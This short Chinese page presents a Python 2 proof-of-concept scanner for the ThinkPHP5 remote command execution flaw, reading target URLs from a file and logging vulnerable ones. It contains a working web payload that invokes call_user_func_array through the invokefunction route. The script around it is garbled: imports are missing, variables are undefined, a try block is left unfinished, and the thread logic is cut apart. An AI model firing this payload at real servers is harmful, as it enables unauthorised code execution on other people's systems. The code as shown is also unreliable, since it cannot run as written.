### thinkphp5命令执行  

### POC检测代码   

```python
# -*- coding:UTF-8 -*-
# evn :python2

import requests

import sys

class check(threading.Thread):            #判断是否存在这个漏洞的执行函数
    def __init__(self, url, sem):

        self.sem = sem

    def run(self):
        parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"

        try:

                host = host.strip()+"/public/index.php"
                host_thread = check(host, self.sem)  
                host_thread.start()    #执行check()的执行函数

if __name__ == '__main__':
    sem = threading.Semaphore(10)      #最大线程数为10个
    thread = host(sem)                 #传递sem值
    thread.start()
```

使用方法：在当前页面下创建./url.txt（为需要检测的url），success.txt为含有漏洞的url。
